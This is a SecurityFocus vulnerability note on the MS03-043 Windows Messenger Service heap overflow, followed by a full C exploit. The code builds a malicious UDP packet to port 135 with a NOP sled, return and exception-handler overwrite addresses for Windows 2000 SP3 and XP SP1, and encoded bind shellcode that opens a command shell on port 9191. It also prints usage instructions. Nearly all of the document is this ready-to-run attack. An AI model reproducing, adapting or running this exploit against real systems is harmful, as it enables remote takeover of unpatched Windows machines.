source: http://www.securityfocus.com/bid/8826/info

Microsoft Windows Messenger Service is prone to a remotely exploitable buffer overrun vulnerability. This is due to insufficient bounds checking of messages before they are passed to an internal buffer. Exploitation could result in a denial of service or in execution of malicious code in Local System context, potentially allowing for full system compromise. 

/************************************************************************************

 Exploit for Microsoft Windows Messenger Heap Overflow (MS03-043)
 based on PoC DoS by recca@mail.ru

	by Adik < netmaniac [at] hotmail.kg >
	http://netninja.to.kg

 Binds command shell on port 9191
 Tested on 
			Windows XP Professional SP1 English version
			Windows 2000 Professional SP3 English version 

 access violation -> unhandledexceptionfilter -> 
 -> call [esi+48h]/call [edi+6ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode

 
  attach debugger and c how it flows :)	worked fine for me


	-[25/Oct/2003]-
************************************************************************************/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

#pragma comment(lib,"ws2_32")

#define VER		"0.7"	

/**************** bind shellcode spawns shell on port 9191 ************************/

unsigned char kyrgyz_bind_code[] = {
	0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9,
	0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA,
	0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
	0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
	0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
	0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
	0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
	0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
	0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
	0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
	0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
	0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
	0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
	0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
	0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
	0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
	0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
	0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
	0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
	0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
	0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
	0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
	0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};



int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH);

int main(int argc,char *argv[])
{
        int sockUDP,ver,c, packetsz,cnt;
        unsigned char packet[8192];
        struct sockaddr_in targetUDP;        
		WSADATA wsaData;		
		
		struct
		{
			char os[30];
			DWORD SEH;
			DWORD JMP;
		} targetOS[] = 
		{
			{
				"Windows 2000 SP 3 (en)",
				0x77ee044c,		// unhandledexceptionfilter pointer
				0x768d693e		// cryptsvc.dll call [esi+48] 0x768d693e
			},
			{
				"Windows XP SP 1 (en)",
				0x77ed73b4,
				0x7804bf52	//rpcrt4.dll	call [edi+6c]
			}/*,
			{	//not tested
				"Windows XP SP 0 (en)",
				0x77ed63b4,
				0x7802ff3d	//rpcrt4 call [edi+6c]
			}*/
		};

		
		printf("\n-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver %s ]=-\n\n"
				   " by Adik < netmaniac [at] hotmail.KG >\n http://netninja.to.kg\n\n", VER);

		if(argc < 3)
		{			
			printf(" Target OS version:\n\n");
			for(c=0;c<(sizeof(targetOS)/sizeof(targetOS[0]));c++)
				printf(" [%d]\t%s\n",c,targetOS[c].os);
			printf("\n Usage: %s [TargetIP] [ver: 0 | 1]\n"
					" eg: msgr.exe 192.168.63.130 0\n",argv[0]);
			return 1;
		}
		ver = atoi(argv[2]);
		printf("[*] Target: \t IP: %s\t OS: %s\n"
			   "[*] UEF: \t 0x%x\n"
			   "[*] JMP: \t 0x%x\n\n", argv[1],targetOS[ver].os, targetOS[ver].SEH, targetOS[ver].JMP);

        WSAStartup(0x0202, &wsaData);
		printf("[*] WSAStartup initialized...\n");

        ZeroMemory(&targetUDP, sizeof(targetUDP));
		
        targetUDP.sin_family = AF_INET;
        targetUDP.sin_addr.s_addr = inet_addr(argv[1]);
        targetUDP.sin_port = htons(135);

		packetsz = PreparePacket(packet,sizeof(packet),targetOS[ver].JMP,targetOS[ver].SEH);

        if ((sockUDP = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
		{
				printf("[x] Socket not initialized! Exiting...\n");
                return 1;
		}
		printf("[*] Socket initialized...\n");
		printf("[*] Injecting packet into a remote process...\n");
		
		if (sendto(sockUDP, packet, packetsz, 0, (struct sockaddr *)&targetUDP, sizeof(targetUDP)) == -1)
		{
			printf("[x] Failed to inject packet! Exiting...\n");
            return 1;
		}
		else
			printf("[*] Packet injected...\n");
		
		printf("[i] Try connecting to %s:9191\n\n",argv[1]);
        return 0;
}



/************************************************************************************/
int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH)
{	
		static unsigned char packet_header[] =
		"\x04\x00\x28\x00"
		"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
		"\x4f\xb6\xe6\xfc\xff\xff\xff\xff\x42\x69\x73\x68\x6b\x65\x6b\x32"
		"\x30\x30\x33\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00";

		unsigned char field_header[] = 	"\xff\xff\xff\xff\x00\x00\x00\x00"
										"\xff\xff\xff\xff";

		int packet_size,i,fields_size;		
		char from[] = "NETMANIAC";
        char machine[] = "ADIK";
		char longjmp[] ="\x90\x90\x90\x90\x90"
						"\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF"
						"\xB9\xFF\xFF\xFF\xFF\x81\xE9\x7F\xEE\xFF"
						"\xFF\x2B\xC1\xFF\xE0";		
		char shortjmp[] ="\x90\x90\x90\x90\xEB\x10\x90\x90\x90\x90\x90\x90";
        char body[5000] = "*** MESSAGE ***";//4096

		ZeroMemory(packet, sizeofpacket);
		packet_size = 0;

        memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
        packet_size += sizeof(packet_header) - 1;

        i = strlen(from) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], from);
        packet_size += (((i - 1) >> 2) + 1) << 2; 
        i = strlen(machine) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], machine);
        packet_size += (((i - 1) >> 2) + 1) << 2; 
		memset(body, 0x90, 2296); 
		memcpy(&body[500],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
		memset(&body[2296],0x14,1800); 		
		memcpy(&body[2296+1110],shortjmp,sizeof(shortjmp));
		*(DWORD *)&body[2296+1121] = Jmp;
		*(DWORD *)&body[2296+1125] = SEH;	
		memcpy(&body[2296+1129],longjmp,sizeof(longjmp)-1);
		fprintf(stdout, "[*] Msg body size: %d\n", 
						3656 - packet_size + sizeof(packet_header) - sizeof(field_header));
		
        body[3656 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';
		
        i = strlen(body) + 1;
		
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], body);
        packet_size += i;

        fields_size = packet_size - (sizeof(packet_header) - 1);
        *(unsigned int *)(&packet[40]) = time(NULL);
        *(unsigned int *)(&packet[74]) = fields_size;

		return packet_size;

}
/************************************************************************************/



